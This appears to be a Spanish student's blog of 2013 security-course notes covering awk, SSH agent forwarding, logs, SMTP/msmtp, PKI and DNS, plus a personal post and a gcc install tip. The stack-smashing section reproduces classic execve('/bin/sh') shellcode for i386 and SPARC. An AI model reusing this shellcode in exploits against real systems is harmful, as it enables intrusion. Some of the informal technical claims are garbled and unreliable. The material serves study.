$1 traera el primer argumento, que escupe el inodo de un archivo.

dentro de la prorgamación se puede meter a una variable, con todo y pipes que se usan en terminal.

las variables se pueden temer en constructos de ejecución y expandirlas en cadenas, se pueden expandir en comillas etc etc.

se pueden comparar salidas de comandos compuestos con valores numéricos.

Ej:
inodespergroup es una variable que se crea a partir del resultado de un comando,

porqeu en abstracto será la variable y a su salida un awk.

nota en la variable blockfile se puede concatenar la salida de un comando con otro.

pff


`date +"%Y%m%d_%H%M"p`


AWK 

lo hizo alguien que programabaen C que procesara cadenas un poco más humanas.

sintaxis

awk 'archivo a proocesar' .

es como grep, pero lo que esta dentro de las comillas son programas, que si se desglosan tienen más orden.


poner en el archivo passwd

passwd es un archivo de sinteaxis física,

si quisieramos poner todos los usuarios con privilegios sería

awk -F ":" '{print $3}' /etc/passwd

la idea es: tienes un flujo que se divide en lineas, y cada linea tiene campos por tanto hay separadores de campos.

pero se pueden dfeeinir separadores de líneas arbitrarios.

si decimos que si se consideren separadores específicos, podemos definir separadores compuestos .

$0  implica la linea completa

a partir de  ahi será cada campo.

si se dijera imprime $0 imprimirá cada linea

$0 ~ /Inode .../
{
   
}
lo que quiere decir-> si la linea tiene algo con estas caracteristicas vas a hacer lo que esta dentro.
de los corchetes.

si tu linea tiene Inode per group has lo que esta dentro de las llaves.





martes, 17 de septiembre de 2013

Martes 17/9/13

Recapitulación de la tarea Smashing the Stack.


tenemos un apuntador fijo, que se mueve respecto a que tantas cosas le hemos metido al stack.

si le metemos un int, sube un byte, si le metemos un carácter, sube 10 bytes.

en teoría no podemos movernos hasta abajo del stack.

Bufferoverflow lo que hace es aprovecharse de la estructura del stack.

el programa siguiente

void function(int a, int b, int c){
 char buffer1[15];
char buffer2[10];
}

void main(){
 function(1,2,3);
}

la funcion si no esta definida en bibliotecas de C, se va para arriba.

yendose a la pila, como se necesita regresar al main, se guarda una foto con el IP

instruction pointer -> tiene que regresar al main.

la funcion que dice que se tiene que regresar el instruction pointer es return pointer.

return pointer -> a donde tenemos que regresar para seguir con el procesamiento.

bottom of stack -> se tiene que ver de cabeza, porque las ddirecciones de memoria crecen a la derecha, pero en realidad crecen en direccion opuesta a como crece el stack.

al stack se le agregan primero las 3 variables que son parámetros de la funcion, luego return, luego sfp.


como las direcciones crecen a la derecha,
buffer2      buffer1
[           ] [          ]

si queremos escribirles a los buffers mas de lo que les cabe, se pasa al segundo buffer, pero si le escribimos más se puede ir al sfp, volandonos el primer byte del sfp, lo que puede pasar:

es que se llena el sfp, ya no encontrando el retorno que debería de encontrar, generando un segmentation fault, o lo que pudiera pasar seria que se sobreescribiera el ret.

sacando un segmentation fault, que es una actividad ilegal sobre un segmento de memoria que no te corresponde.

Podría pasar:

generar un buffer lo suficientemente grande para ejecutar un código que se pueda ejecutar.

PFF!!

modificando la siguiente instrucción del IP, eso es la explotación de buffer overflows para código arbitriario.

podriamos ejecutar un SHELL.

contructors en C

#include

void main(){
 char *name[2];

name[0] = "/bin/sh";
name[1] = NULL;
}

pudieramos ver las instrucciones que nos arroja el ejecutable en asm, pudiendo ver las tablas de código.

un NULL, lo podemos obtener dinámicamente con operaciones dinámicas como XOR's.

en llamadas al sistema, o en ensamblador (libro ABEL).

la explotación de buffer overflows para código arbitrario se ve en CWE-120

cwe.mitre.org

listado de las vulnerabilidades en código, nota: se tienen que saber si nos dedicaremos a desarrollo de software.

TIPS:

Areas:

Infraestructura -> Hardening, mitjitzu alto, para UNIX muy bien, administración, pero no se necesita saber el manejo de memoria. Es más avanzado que un sysadmin. Area sencilla.

Auditoria -> se tiene que saber un poco de todo, se tienen que meter a areas administrativas, aprender cuestiones de relaciones interpersonales, vestirse para el éxito! jaja.

Pentesting  -> aprender como ser curiosos, la mayoria de los pentesters tienen un conocimiento académico y de herramientas, necesitamos dominar la curiosidad, tendríamos que pensar como atacantes, pero con la ética de un hacker ético juaZ!!

auditoria y aplicaciones -> documentación mas que nada, curso en word nivel sayayin jajajajaja

Software o aplicaciones seguras -> necesitan técnicas para desarrollo de código seguro, hay varios libros, uno de ellos es el Writting secure code, ese libro es la biblia del desarrollo de código seguro, la razón por la cual es bueno, es porque microsoft a principios de las interfaces, se dio cuenta que lo que estaban atrasados en el desarrollo. Consultaron con los mejores desarrolladores de código seguro, si queremos estar en microsoft lo que piden es desarrollar código seguro.

y si nos metemos a Web -> es meternos a saber los manejos de servidor web, HTTP, detalle de especificaciones de JavaScript, CSS, que cosas se pueden hacer o no con él.


Incidentes o atención a incidentes -> es un Área muy administrativa, con que sepamos un poco de todo pasa.

Malware -> necesitamos saber codigo a bajo nivel, ensamblador a su máxima expresión, conocer las plataformas de windows o moviles, que son las que son actualmente atacadas, practicar con ensambladores, smashing, debería de ser rápido, no debería de ser un reto.

Pensandolo bien, me gustaría más malware...

Forense -> implica un conocimiento profundo de las plataformas que haremos los análisis forenses, sistemas de archivos (FS) HFFS, UTFS, tablas de particiones .. lo tenemos que saber bien.


todo lo anterior es para administrar los tiemos libres para las Áreas que nos gustan más.

Terminamos el viernes con SSH.

ps -> platicamos sobre ppid, parent process id, que son los identificadores del proceso, éste nos puede llevar a las distintas analogías.

pki -> public key infraestructure, y la privada, para cifrar un medio, haciendo un entorno seguro.


los CSR se pasan por la CA , a través de un proceso, transformando llaves públicas genéricas con sellos de autenticidad, generando CRT's.

la confianza sobre las CA's es implicita

casi siempre se debe de tratar la seguridad por capas, como cebollas o como lechugas, a pesar de que ya hay un esque ma de la capa de transporte no impide que se abarque con otro esquema partes que no se aplican.

Estandar SMTP, checar RFC

Protocolos.

Helo

Mail

RCPT

SEND -> iniciamos la transacción.

el estándar dice, primero mandamos todo y luego entregalo.


RESET(RSET)

VERIFY

SPAN

los estándares son simples, ya que son a lo mucho 15 comandos. Por lo tanto ese stack de comandos, implica varias respuestas.

Reply genericos, (checarlos)

Service reado 220.

mail , podria ser que nos conteste con 421, con 221 etc.

podria ser un 354 porque dice start mail, pero tal vez sería correctamente para Datos.

en que situaciones se definen en los rfc.

www.anta.net/misc/telnet-troubleshooting/smtp.shtml

las negritas es donde marcan los protocolos.

recapitulando, nos metimos al estandar porque usaremos los certificados, porque el viernes nos metimos a smtp.

Es probable que alguno de los estándares estén los comandos que definan autenticación.

algujno de ellos describe lo que esta usando gmail, estamos usando gmail como salida.

por lo tanto podría ser delivery.

estamos viendo actualmente el rfc 4954, que implica los comandos de autenticacion, para intercambiar credenciales.

el intercambiar las contraseñas codificadas en BASE64, es muy vulnerable, pudiendole la seguridad a nivel capa 4, implementandose a partir de la infraestructura pki.


Retomando el ejercicio del viernes, de saltos automáticos:

tenemos un server que se conecta mediante un agente.

copiando la llave publica se podria concetar al server externo.

cifra token con la llave publica, si no tenemos la llave privada correspondiente al token generado no se puede conectar.

Agent -> con él se puede guardar en ram con las credenciales, no se necesita meter el passphrase.


haciendo un forwarding del agent, lo haremos con un archivo de configuración.


(checar un forward del agent)

1)copiamos con ssh-copy-id al primer salto
2)eval `ssh-agent``

copiamos en la ram con ssh-add

(estudiar) jua jua jua, aunque mañana veremos taller basico de awk
ps -fea | grep ssh-agent | awk '{pint $2}' | xargs kill -9

obtenemos todos los procesos, todos los que tengan ssh-agent,  y los matamos jua

eval `ssh-agent`

ssh-add

le damos la contra de la privada, para que la agregue en ram.


jua jua
hacemos login sin contra

podemos copiar el .pub, podemos ver lo que hay en la llave publica
2) lo seleccionamos, y lo copiamos al intermedio, añadimos eso al authorized_keys del ultimo salto.
ya que llegamos al ultimo, creamos un archivo con nuestro nombre, y copiamos juanito a authorized_keys.

uyna vez que esta en safe y despues con el cat al authorized...
podemos conectarnos al primero, enviamos una copuia del agent a safe para que lo tenga:

ssh usr@remoto "ls -l" y automaticamente cierra la sesion

el truco es hacer que se conecte al server que queremos


ssh usr@remoto1 "ssh usr2@remoto2" , en vez de listar lo conectamos.

no funcionará porque quieren asignarnos una pseudo terminal.

ssh -t usr1@server1 "ssh  test@remoto2"

ya se esta haciendo el usuario.

para que se fordwarde el agent es con -tA

ssh -tA usr1@server1 "ssh usr2@remoto2"

se puede argegar con n servidores, solamente se agrega la publica con el otro server y al comando, agregamos con comillas escapadas

" ' ' " para agregar el nuevo server

mañana hablaremos con X, que son gráficos, veremos sistemas de escritorios, pero con X PUM

veremos sesiones remotas con VNC

fundamentos lights de iptables

veremos programación en bash y awk poco, con eso acaba el curso.


Buffer overflow smashing the stack

Como me han dejado de tarea investigar a partir de ésta liga:

http://insecure.org/stf/smashstack.html

aquí anotaré lo que parece más reelevante para mí:

Organización de procesos en memoria

1) Texto
2) Datos
3) Pilas

la region del texto solamente incluye instrucciones de solo lectura.

tratar de escribir en la region de texto de la memoria, estaríamos entrando en una violación de segmento.

la región de datos contiene datos inicializados o no inicializados.

las variables estáticas se alojan en ésta región

La región de datos se aloja en la sección BSS del archivo ejecutable, que indica BSS -> sección de datos no inicializados, que empieza al final de segmentos de datos, que contiene todas las variables estáticas y globales, que son inicializadas en 0 o que no tienen inicialización específica en el código fuente.

Retomando: la sección BSS del archivo ejecutable puede ser modificada en cuanto al tamaño con una llamada de sistema brk(2).

si se sobrepasa el tamaño que viene por defecto del user stack o de la sección bss, se organiza nuevamente para asignarle un espacio en memoria más grande.


Pilas -> Abstracción de tipo de datos, que tiene la disponibilidad de extraer el último elemento agregado a la estructura.

La región Stack

Los tamaños de la pila se ajustan dinámicamente por el kernel en tiempo de compilación.

Un buffer overflow permite cambiar la dirección de memoria que regresa una función, pudiendo cambiar el flujo de ejecucción del programa.

Con la herramienta GDB, podemos modificar la devolución que tienen los programas, ya que utilizamos la pila para poder ver el código en ASM y con él modificar el curso del programa.

GDB "ejecutable"


pero para poder ver las banderas correctamente, en vez de ver las referencias a la biblioteca dinámica de C, utilizamos, la bandera de -static

gcc -o shellcode -ggdb -static shellcode.c

viendo el main, epezamos a ver el flujo de la información más detalladamente.

otra opción:

gcc -o shellcodeasm -g -ggdb shellcodeasm.c

creo que se ve perfectamente que se quiere visualizar.

Nunca pensé ver writting an exploit XP


PFF, hacen un overflow a la biblioteca Xt de Xorg... diablos!!

Nota personal: casi ninguna biblioteca de C hace checking de límites de memoria disponible, como:

strcat(), strcpy(), sprintf(), vsprintf(), éstas operan con cadenas terminadas en nulo.

y no checan para ningún overflow de ninguna cadena recibida


shellcode de diferentes arquitecturas:

i386/Linux
------------------------------------------------------------------------------
        jmp    0x1f
        popl   %esi
        movl   %esi,0x8(%esi)
        xorl   %eax,%eax
 movb   %eax,0x7(%esi)
        movl   %eax,0xc(%esi)
        movb   $0xb,%al
        movl   %esi,%ebx
        leal   0x8(%esi),%ecx
        leal   0xc(%esi),%edx
        int    $0x80
        xorl   %ebx,%ebx
        movl   %ebx,%eax
        inc    %eax
        int    $0x80
        call   -0x24
        .string \"/bin/sh\"
------------------------------------------------------------------------------

SPARC/Solaris
------------------------------------------------------------------------------
        sethi   0xbd89a, %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
        ta      8
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      8
------------------------------------------------------------------------------

SPARC/SunOS
------------------------------------------------------------------------------
        sethi   0xbd89a, %l6
        or      %l6, 0x16e, %l6
        sethi   0xbdcda, %l7
        and     %sp, %sp, %o0
        add     %sp, 8, %o1
        xor     %o2, %o2, %o2
        add     %sp, 16, %sp
        std     %l6, [%sp - 16]
        st      %sp, [%sp - 8]
        st      %g0, [%sp - 4]
        mov     0x3b, %g1
 mov -0x1, %l5
        ta      %l5 + 1
        xor     %o7, %o7, %o0
        mov     1, %g1
        ta      %l5 + 1
------------------------------------------------------------------------------

Como resumen, se pueden detectar a partir de números mágicos los programas instalados en la región stack de procesos a partir de su shellcode, escribiendo a partir de ellos instancias de los programas, para poder detectar a partir de parámetros el flujo de la información que los programas nos darán.

pero tenemos que conocer el funcionamiento de algunas bibliotecas de C para poder hacerlo, pansandole información que obtenemos con GDB o con las otras herramientas de visualización para poder tener una conclusión que nos ayude a detectar, hacer o mejorar exploits de buffers overflows.



viernes, 13 de septiembre de 2013

Clase Viernes

SSH

puee habilitarse varias opciones en sshd_config

como kerberos

podemos agregar nuestras llaves, en el archivo /etc/ssh/sshd_config

ssh-keygen -> generamos nuevas llaves

lo que tenemos que establecer es el algoritmo

para poder cifrar la llave privada, siempre hay que cifrar la llave privada.


authorize_keys, o authorize_keys2

ahi meter el .pub, guardar el archivo y salir. o

ssh-add

ssh-copy-id -i .ssh/id_rsa.pub usr@"servidor-remoto.org"


tratar de no hacer la contraseña al mismo tiempo.

 ssh usr@server.org

se pueden agregar tantas llaves publicas como querramos.

ssh-agent  , con ella guardamos en RAM los tokens de autenticaci{on de contraseñas que querramos conectar.

colocamos ssh-add

ssh-agent saca el PID y el SOCK , que se tendra que usar en la terminal.

define variables de entorno, para escupid variables de PID, haciendo lo anterior, colocamos ssh-add
la contraseña de la llave privada.

1) eval "$(ssh-agent)"
o eval `ssh-agent`
2) ssh-add usr@servidorremoto
3) colocamos contraseña privada
4) entramos directamente.

PUFF!!


 nos podemos conectar a un tercer servidor pasando por el que ya nos conectamos.


para saltar directo al tercer servidor remoto.

lo que se puede hacer es una vez entrando al primero usar la llave publica que esta en authorized keys,
que esta en cat .ssh/authorized_keys

y la .pub es nuestra llave

se puede copiar el archivo remotamente, lo ponemos en home o /usuario.pub, una vez hecho eso,

deberia de funcinoar que la llave.pub, la copiaremos a un usuario en el segundo servidor.

ssh-agent vive por sesion, por eso se tiene que meter cada vez la contraseñam, pero se puede configurar el ssh desde el cliente para que se copie la llave directamente a partir de un archivo de configuracion.

crear un archivo en .ssh llamado config

ssh-config:

Host  primerservidor..
Hostname sergiob.org /nombre corto
ForwardAgent yes -> la línea que permite redirigir al segundo servidor
Port 22
ProxyCommand ssh usr-mio@segundo-server  nc %h %p


al hacer ssh al primer servidor se tiene que redirigir al segundo servidor, con solamente haber hecho la primer conexion.

tarea: la lectura para el martes.

contestar la pregunta de que hacemos aqui, porque en seguridad, que nos gusta que nos llama la atención.

que querramos hacer con lo que haremos aqui, que haremos con el, la tenemos que entregar.

la otra es platicar lo de las reformas energética, hacendaria y platicar con alguien, comparenlo  compartir los puntos de vista de acuerdo a esos temas.

http://insecure.org/stf/smashstack.html


jueves, 12 de septiembre de 2013

http://patch-tracker.debian.org/patch/series/view/pam/1.1.3-9/007_modules_pam_unix

Clase dia 4 LINUX UNIX

Hoy les compartiré mi clase de seguridad B|

les dejaré tarea, jaja, claro porque yo tambien la estaré haciendo.
Nota: el examen es el viernes de la semana que viene jaja, asi que estudien:
permisos, tipos de permisos en particiones, ntfs-3g, como montar, compilar pam.so, agregar modulos como pam.ftp o pam unix, compilar y juntar todos los archivos fuentes  obscure, como funciona, servidor de correos y bitacoras.
PUM!!!!
Bitácoras

en linux hay varios tipos de bitácoras

/var/log

en sistemas como suse, se instalarán los paquetes en /opt

en debian o la mayoria de los linux esta en var/log.

Ejercicio:

 para poder ver los cambios de pam unix, se pueden ver en auth.log

ya que maneja los mensajes de autenticación.

Nota: Las bitácoras en unix generalmente tienen un timestamp, hay varios timestap, uno es de época, desde 1ro de Enero del 70, aunque con awk puede hacerse la traducción de dichos datos.

auth -> nos da el host en donde ocurre el evento, y luego el demonio donde esta ocurriendo el proceso.

siendo el punto de caída para muchos procesos y demonios.

registra cosas de cron, ya que muchas cosas que están en él autentican, cron es un demonio que hace tareas programadas.

En unix podemos centralizar bitácoras, escribiendo en un equipo externo donde se guarde todo.

(chequen eso tarea)

la basta variedad de servicios, permite establecer niveles de bitácoras, llamados loglevel, exísten loglevels standares como loglevel info loglevel etc.

wtemp,

cada servicio sabe en que formato se guardan las cosas.

una bitacora binaria es wtemp, lo que dice es que tiene data.

la respuesta variada que devuelve file a wtemp -> data, mágicamente porque file no sabe que esta adentro jajajaja

hay varias formas de leer la bitácora sin la terminal  (investigar).

nota: en solaris existe una manera de encontrar a que hora se apago el sistema operativo, en BSD  se supone que también pero linux, esta uptime

uptime indica cuanto tiempo ha estado prendido un equipo, pero no cuando se ha apagado, aunque se puede hacer un script en runlevel que guarde un log de la memoria, para poder analizar a que hora se apago el sistema. :D

Exíset una bitácora llamada messages, que exíste cuando se prende la máquina, da una hora de inicio y nos puede dar un delta del tiempo desde el inicio del sistema hasta que ocurre un evento.

juaz!!

mentira!!!, shutdown en messages indicando a que hora se apago juaz!!! trolling del profe(pero ilustración al mismo tiempo)

/var/log/messages

ahi esta, pero lo que se supone que tiene son las salidas que no corresponden al kernel.

aunque es un genérico.

(se verá en administración de linux).

juajua jua jua

aqui escribo 10 veces mas rápido que en mi cuaderno faperines jajajaja

BD

retomando:

ls -l /run/

run lo que guarda son.... a partir de los procesos, como mysql, guarda el process id que le toco, pero también llega a pasar que se corre el proceso pero acabando de inicializar generas threads, pero el programa no esta diseñoado para hacer eso, pero al guardar en un archivo el process id sirve para poder matar al padre, para saber instancias de procesos que corren, guardar log de archivos.

Ejemplo: logs sobre el shadow, siendo parecido a una bandera, o un semáforo primitivo.

tmp tiene problemas de permisos.

var/run es una liga a archivos temporales o virtuales, pero quien quiera acceder a var run tiene la abstracciión de los diferentes accesos a los procesos.

dpts

Estamos cerrando la parte de sistemas de archivos virtuales.

los sistemas de archivos virtuales se pueden abstraer al punto que sean dinámicos, refiriendose a eso:

del lado del cliente -> arbol de directorios.

entregando una API, que tenga crear archivo, listar directorio.

del otro lado podemos ilustrarlo a través de código, ejemplo: crear archivos de maneras dinámicas.

queremos que la constancia en pdf tenga timestamp etc, entonces podria ser que el timestamp sea cuando el usuario baje el pdf, tipo no repudio.

Pudiendo generar los archivos en el momento, a lo mejor hasta los directorios.


Creando un link que es una ruta en el sistema, que redirige a var/constancias, pero cuando se recibe la solicitud de ls, pero quien lo captura es la capa de abstracción, que indica que se requiere el id del usuario etc, generando una respuesta para que la capa de abstracción responda con un directorio.

simulando la capa de abstracción al pdf que exíste solamente en el instante de tiempo en que el usuario quiere descargar el archivo, pero podemos forzar al usuario que se autentique cada que quiera descargarse algo. Evitando problemas de que alguien se robe el HDD, de las constancias ya que solamente exíste cuando se conecta XD

problem??

Tarea: checar capas de abstracción.

inodos pasandose aplicados para archivos iso muy grandes para que no se sature la red.

(fundamentos de servicios streaming...)

FUSE -> permite generar sistemas de archivos de manera dinámica con lo que tengamos (sea lo que sea).

se podría ver en python, o en desarrollo web, o en unix, para poder crear las bitácoras dinámicamente.

para poder crearlos de una manera facil podriamos utilizar fuse.

otra app-> con shell podemos usar un sistema remoto, conectarse y montarse el home en la máquina como unidad D:

siendo transparente.


Tarea: como enviar correos seguramente, mediante la instalación de un servidor de correo, ya que sale muy barato contratar gmail, aunque sigue siendo un trabajo comun el enviar correos desde un servidor.

se puede hacer utilizando servidores externos como g-mail o internos, creando el propio.

Ejemplo de como hacerlo:

dpkg -> que muestra que paquetes tenemos instalados, con el paramerto -l podemos ver la info del paquete

dpkg -l msmtp

sin necesidad de tener un servidor de correo local, se puede utilizar para enviar correos desde un servidor externo como g-mauils BD

funcionamiento:

msmtp sarky68@gmail.com < mensaje

lo que esperan ellos es un flujo, por eso la redirección.

(juaz!!!), jajajaja, hare un maldito script jajajaja, pero para solamente apretar teclas y mandar a mis contactos preferidos, nooo no malditos, no haré lo que viene con SP


regresando.

exísten muchas opciones de consola para mandar eso, aunqeu la desventaja de eso es que ponen las contraseñas de gmail en el archivo .msmtprc

pff

solamente permite lectura y escritura a quien es dueñom, permiso 600

en el archivo anterior, necesitamos definir parámetros de autenticación, porque los manda en claro.

podriamos agregar TLS
http://es.wikipedia.org/wiki/Transport_Layer_Security#Ataque_BEAST

pero utiliza la infraestructura de llave pública.

NOTA: hacer una prueab de concepto jua jua jua, para TLS mandando este correo sobre el protocolo.


Resúmen:
cuando tenemos un entorno no confiable a través de cuando esta libre, (problema de la paloma o del ejercito).

como logramos transmitir info entre sí sin que el enemigo se entere, problema de huevo y la gallina, la lllave pública quita ese problema, pero matemáticamente estan ligadas.

concepto PKI, a demás de tener eso de secretos podemos garantizar a los entes que estan mandando esos secretos.

necesitamos agregar sellos de autenticación, quienes proveen eso son autoridades certificadores, lo que hace es sellar todas las llaves públicas que quieran ser selladas.
la entidad pone una firma digital al certificado, garantizando que tiene un certificado válido.

ese certificado seguro de confianza se hace con

tls_trust_file /etc/ssl/...certificates.crt

gmail provee uno cuando se conecta,
pero podemos obtener ese certificado mediante un paquete

dpkg -l ca-certificates

con ese paquete  ( ii) viene de las entidades certificadoras comunes Common CA certificates.

una vez que se tienen los problemas de certificados, ponemos en el archivo:

account
host
port     587 ???
from
user
passwd

ni siquiera se esta diciendo que cuenta se utilizará


el cliente de copiado scp es para copiar remotamente
scp .msmtprc user@servidorremoto(..) los dos puntos es el lugar donde se copiará

checar ataques MTM para securechel XD fuckyou bigbrother..
Microsoft Exchange Server 2013 SMTP can listen on ports 25, 587, 465, 475, and 2525
big brother me gano :(


checar DNS-> servidores de dominio, aunque resumiendo es otra abstracción para humans XD

tiene dos versiones, directo o inverso.

aunqeu el standar de dns es mucho mas grande, con dig:

podemos obtener los tipos de servidores_

A -> determina de manera primaria, quien quien pregunte ese dominio a que IP lo manda.

AAAA -> será para IPv6

NS -> responsables de guardar la información del dominio son tales y los muestra.

MX -> mail exchange, es el responsable de checar servidores electronicos, aquien se lo manda??, hace una solicitud especificamente de los servidores MX, haciendo una petición de que servidores se encargan, mostrando prioridades de servidores.

Cuando contratamos gmail tenemos que habilitar registros dns para google, exísten algunos spf, que dicen quienes pueden enviar, hay genéricos,  hay registros txt , esos los usa google, haciendo evaluación de modificaciones de registro dns a partir de hashes, demostrando que es tuyo.

WOOOW!!!

checar POP, IMAP, y sus parejas como  587, de maneras seguras.


a partir de éste año los dominios ya no son gratis, los de google.
el costo de gmail es de 50 $ al año, pero se cobran en pagos chicos, al año.

mañana checaremos SSH






jueves, 30 de mayo de 2013

Depresión

hola lectores...se que he estado ausente un tiempo, lo que pasa es que me concentré en mi carrera, que ya poco falta porque ésta acabe..hoy me siento super depre, cañonamente, pienso que es porque tengo qeu hacer extraordinario de una materia que al principio me parecía agradable, hasta que me empezó a resultar aburrida extremadamente... Y como ya estoy harto de facebook y de twitter, prefiero escribirlo aquí; ya que en las redes sociales solamente lo que pasa es qeu escribes a lo estúpido y nadie te comenta nada(si forever), pero por lo menos aquí siento la libertad tanto de caracteres como de mi propio pensamiento, ya que a pesar de que a éste lo tratan de governar entidades gigantes como google o facebook para fines medios extraños. Aquí es más dificil hasta cierto punto de que encuentren mis ideas. Si estoy un poco paranoico, pero diganme si uds no al enterarse de que los compañeros de trabajo o escuela o simplemente cualquier vecino que conozca su nombre, sepa de sus emociones y pueda manipular sus ideas ... me siento acosado diario a partir de la aparición del fb...estoy hasta la madre de ese sistema enfermo que inventó Zuckerman..lo que pasa es que con el tiempo es posible que termine trabajando en alguno de esos sistemas gigantes monopolizadores de mentes... preferiría escapar como las antiguas historias cyberpunk que anteriormente estaban de moda y los dias de hoy han sido dejadas atrás por "estar a la moda"... Amigos que te cambian por sus novias, novias que te cambian por desmadre y tu al final sin saber que camino tomar, porque hasta cierto punto no estas en el camino de la moda...si lamentablemente soy un maldito cyberpunk en una época de comunicación hipocrita, de N-facebooks y n-contraseñas para que no sepan quien ers ni lo que piensas...atorado emocionalmente y con joroba y dedos planos de tanto tap tap. la imaginación de las terminales se atora con las interfaces tontas, esas mismas que andas reprobando por no haber hecho una puta animación ...si fue una puta animación.. por esa puta animación no puedo salir ni entrar al sistema de plan d becarios en seguridad que tanto quiero. maldita distracción , pero bueno ésto es mejor que suicidarse digitalmente, exponiendo las emoooooooooooooooooooooooociones , solamente espero que ésto no vaya a ser utilizado en mi contra, malditas redes sociales estupidas, maldito zuckenberg enfermo.

miércoles, 20 de febrero de 2013

instalar gcc en mac

Hola, pues aquí de nuevo, me he encontrado una pagina muy buena en donde me indican la forma de instalar mediante curl la descarga del paquete gcc. primero creamos una carpeta mkdir ~/tmp && ~/tmp curl -O http://opensource.apple.com/tarballs/gcc/gcc-5666.3.tar.gz después de que hayamos descargado el paquete, lo descomprimimos y lo instalamos en /root/var/tmp

Entradas populares